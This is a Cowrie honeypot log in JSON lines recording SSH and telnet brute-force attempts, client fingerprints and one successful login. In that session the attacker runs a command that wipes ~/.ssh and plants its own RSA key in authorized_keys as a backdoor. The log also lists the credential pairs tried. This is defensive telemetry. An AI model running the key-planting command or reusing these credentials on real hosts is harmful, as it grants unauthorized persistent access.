{"eventid":"cowrie.login.failed","username":"root","password":"Master2023","message":"login attempt [root/Master2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:16.208010Z","src_ip":"45.183.70.66","session":"655ad2bec952","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:17.328900Z","src_ip":"45.183.70.66","session":"655ad2bec952","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55734,"dst_ip":"10.17.0.5","dst_port":23,"session":"16d0361dfc9b","protocol":"telnet","message":"New connection: 152.42.224.71:55734 (10.17.0.5:23) [session: 16d0361dfc9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:21.751096Z"}
{"eventid":"cowrie.session.closed","duration":39.548396587371826,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:28.930464Z","src_ip":"152.42.224.71","session":"fe566d79ae2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59922,"dst_ip":"10.17.0.5","dst_port":23,"session":"faf740c4948a","protocol":"telnet","message":"New connection: 152.42.224.71:59922 (10.17.0.5:23) [session: faf740c4948a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:30.912624Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48752,"dst_ip":"10.17.0.5","dst_port":23,"session":"aefeb0663e6b","protocol":"telnet","message":"New connection: 152.42.224.71:48752 (10.17.0.5:23) [session: aefeb0663e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:44.094000Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":42522,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd58ffb0ccc4","protocol":"ssh","message":"New connection: 43.128.86.117:42522 (159.203.135.109:22) [session: dd58ffb0ccc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:48.132811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:48.137408Z","src_ip":"43.128.86.117","session":"dd58ffb0ccc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:48.550961Z","src_ip":"43.128.86.117","session":"dd58ffb0ccc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"st","password":"st","message":"login attempt [st/st] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:49.489084Z","src_ip":"43.128.86.117","session":"dd58ffb0ccc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:50.729694Z","src_ip":"43.128.86.117","session":"dd58ffb0ccc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38410,"dst_ip":"10.17.0.5","dst_port":23,"session":"09ef79323236","protocol":"telnet","message":"New connection: 152.42.224.71:38410 (10.17.0.5:23) [session: 09ef79323236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:53.013585Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38406,"dst_ip":"10.17.0.5","dst_port":23,"session":"6399a28df566","protocol":"telnet","message":"New connection: 152.42.224.71:38406 (10.17.0.5:23) [session: 6399a28df566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:53.475399Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38418,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ef7708f5e0f","protocol":"telnet","message":"New connection: 152.42.224.71:38418 (10.17.0.5:23) [session: 7ef7708f5e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:55.719890Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43498,"dst_ip":"10.17.0.5","dst_port":23,"session":"a72a6d6f7c8d","protocol":"telnet","message":"New connection: 152.42.224.71:43498 (10.17.0.5:23) [session: a72a6d6f7c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:58.406946Z"}
{"eventid":"cowrie.session.closed","duration":61.915852546691895,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:03.181466Z","src_ip":"152.42.224.71","session":"a911ec3714f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43506,"dst_ip":"10.17.0.5","dst_port":23,"session":"05bdf6a771be","protocol":"telnet","message":"New connection: 152.42.224.71:43506 (10.17.0.5:23) [session: 05bdf6a771be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:04.818864Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":33266,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae4171710c1d","protocol":"ssh","message":"New connection: 47.237.167.49:33266 (159.203.135.109:22) [session: ae4171710c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:05.313841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:06.549749Z","src_ip":"47.237.167.49","session":"ae4171710c1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:06.555444Z","src_ip":"47.237.167.49","session":"ae4171710c1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00416302680969,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:12.757468Z","src_ip":"152.42.224.71","session":"2be7cbdb405c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.685335397720337,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:15.405091Z","src_ip":"152.42.224.71","session":"7ef7708f5e0f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:18.976982Z","src_ip":"47.237.167.49","session":"ae4171710c1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:20.218998Z","src_ip":"47.237.167.49","session":"ae4171710c1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.33760404586792,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:24.431473Z","src_ip":"152.42.224.71","session":"aefeb0663e6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43122,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7734c4d17d7","protocol":"telnet","message":"New connection: 152.42.224.71:43122 (10.17.0.5:23) [session: d7734c4d17d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:29.849305Z"}
{"eventid":"cowrie.session.closed","duration":40.63549041748047,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:33.648953Z","src_ip":"152.42.224.71","session":"09ef79323236","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.262375831604004,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:33.669182Z","src_ip":"152.42.224.71","session":"a72a6d6f7c8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00161743164062,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:33.753711Z","src_ip":"152.42.224.71","session":"6649e411acd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":53330,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c8fb69b401b","protocol":"ssh","message":"New connection: 43.128.86.117:53330 (159.203.135.109:22) [session: 7c8fb69b401b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:34.256693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:34.261173Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:34.498681Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.39351773262024,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:34.868795Z","src_ip":"152.42.224.71","session":"6399a28df566","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43136,"dst_ip":"10.17.0.5","dst_port":23,"session":"02979e9e2b09","protocol":"telnet","message":"New connection: 152.42.224.71:43136 (10.17.0.5:23) [session: 02979e9e2b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:35.344402Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2023","message":"login attempt [admin/admin@2023] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:35.481507Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:35.992635Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:35.995749Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:35.998158Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:36.238503Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:36.758470Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:36.761011Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:37.001812Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:37.006043Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":53332,"dst_ip":"159.203.135.109","dst_port":22,"session":"582270ad3d5c","protocol":"ssh","message":"New connection: 43.128.86.117:53332 (159.203.135.109:22) [session: 582270ad3d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:37.250203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:37.255472Z","src_ip":"43.128.86.117","session":"582270ad3d5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:37.501417Z","src_ip":"43.128.86.117","session":"582270ad3d5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:38.514660Z","src_ip":"43.128.86.117","session":"582270ad3d5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:39.763236Z","src_ip":"43.128.86.117","session":"582270ad3d5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":53336,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f8d0f683af6","protocol":"ssh","message":"New connection: 43.128.86.117:53336 (159.203.135.109:22) [session: 8f8d0f683af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:39.996015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:40.003560Z","src_ip":"43.128.86.117","session":"8f8d0f683af6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:40.240129Z","src_ip":"43.128.86.117","session":"8f8d0f683af6","protocol":"ssh"}
